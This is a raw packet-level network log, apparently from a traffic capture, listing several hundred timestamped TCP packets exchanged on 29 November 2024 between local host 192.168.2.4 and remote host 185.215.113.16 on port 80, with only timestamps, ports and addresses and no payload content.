Nov 29, 2024 20:07:41.506326914 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.506397963 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.506479979 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.506572008 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.507062912 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.507153988 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.507375002 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.507463932 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.507770061 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.507819891 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.507855892 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.507917881 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.508516073 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.508645058 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.508738041 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.509262085 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.509321928 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.509435892 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.509942055 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.510087967 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.510155916 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.510682106 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.510772943 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.510778904 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.510883093 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.511393070 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.511553049 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.511637926 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.512083054 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.512170076 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.512232065 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.512954950 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.513026953 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.513048887 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.513148069 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.513542891 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.513690948 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.513787031 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.514259100 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.514358997 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.514439106 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.514530897 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.515002012 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.515202045 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.515227079 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.515311003 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.515743971 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.515837908 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.515857935 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.515944958 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.668524981 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.668622017 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.668625116 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.668715000 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.668850899 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.668967009 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.669020891 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.669064045 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.669281960 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.669369936 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.669737101 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.669863939 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.669867992 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.670082092 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.670414925 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.670531988 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.672760010 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.672832012 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.672863007 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.673067093 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.673110962 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.673218966 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.673300982 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.673892021 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.673965931 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.674057007 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.674570084 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.674660921 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.674736023 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.675273895 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.675345898 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.675370932 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.675437927 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.676096916 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.676177025 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.676196098 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.676250935 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.676975012 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.677063942 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.677145004 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.677386999 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.677505016 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.677553892 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.677603006 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.678344965 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.678447962 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.678546906 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.678967953 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.679100037 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.679124117 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.679297924 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.679614067 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.679722071 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.679742098 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.679893017 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.680352926 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.680454969 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.680483103 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.680577040 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.681107044 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.681199074 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.681363106 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.681401968 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.681812048 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.681910992 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.681921005 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.681957960 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.682497978 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.682560921 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.682621956 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.684101105 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.684160948 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.684194088 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.684195995 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.684226990 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.684231997 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.684300900 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.684693098 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.684848070 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.684880018 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.685085058 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.685409069 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.685483932 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.685523033 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.685607910 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.686105967 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.686269999 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.686294079 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.686358929 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.686861992 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.686959982 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.686996937 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.687155008 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.687553883 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.687654018 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.687661886 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.687714100 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.688329935 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.688426018 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.688447952 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.688539028 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.689130068 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.689254045 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.689284086 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.689460993 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.689754963 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.689810038 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.689841986 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.690135002 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.690448999 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.690543890 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.690577030 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.690664053 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.691241026 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.691390038 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.691454887 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.691454887 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.691916943 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.692045927 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.692050934 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.692182064 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.692663908 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.692802906 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.692832947 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.692996025 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.693382978 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.693506002 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.693633080 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.693708897 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.694070101 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.694190025 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.694204092 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.694252968 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.694968939 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.695038080 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.695133924 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.695622921 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.695748091 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.695857048 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.696291924 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.696407080 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.696441889 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.696501017 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.696969986 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.697082996 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.697164059 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.697707891 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.697805882 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.697841883 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.697932959 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.698417902 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.698484898 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.698590040 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.698688984 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.699086905 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.699210882 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.699242115 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.699428082 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.699821949 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.699924946 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.699927092 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.700104952 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.700547934 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.700643063 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.700649977 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.700776100 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.701272964 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.701421976 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.701422930 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.701481104 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.701976061 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.702061892 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.702116013 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.702197075 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.702707052 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.702805042 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.702836990 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.702939034 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.703629017 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.703813076 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.703814030 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.703869104 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.704140902 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.704231024 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.704277992 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.704865932 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.704961061 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.704981089 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.705162048 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.705588102 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.705702066 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.705746889 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.706089020 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.706300974 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.706398010 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.706409931 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.706491947 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.707043886 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.707145929 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.707180977 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.707267046 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.707804918 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.707935095 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.708018064 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.860984087 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.861076117 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.861083984 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.861160040 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.861197948 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.861275911 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.861342907 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.861882925 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.861938000 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.862005949 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.862099886 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.862631083 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.862729073 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.864963055 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.865034103 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.865061045 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.865129948 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.865223885 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.865370035 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.865386963 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.865544081 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.865586996 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.866147995 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.866265059 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.866277933 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.866324902 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.866940975 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.867166042 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.867218971 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.867304087 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.867621899 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.867683887 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.867777109 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.868005037 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.868241072 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.868339062 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.868387938 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.868479013 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.868899107 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.868973017 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.869040966 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.869040966 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.869642973 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.869770050 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.869772911 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.869858027 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.870363951 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.870490074 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.870507002 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.870652914 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.871191025 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.871289968 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.871488094 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.871792078 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.871956110 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.872077942 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.872241974 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.872350931 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.872545004 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.872690916 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.872770071 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.872831106 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.873262882 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.873358011 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.873377085 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.873456955 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.873956919 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.874094009 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.874121904 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.874185085 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.874711037 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.874840975 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.874867916 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.874980927 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.875420094 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.875494003 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.875571012 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.875571012 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.876148939 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.876238108 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.876281977 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.876333952 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.876863956 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.876935005 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.876966000 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.877049923 CET	50071	80	192.168.2.4	185.215.113.16
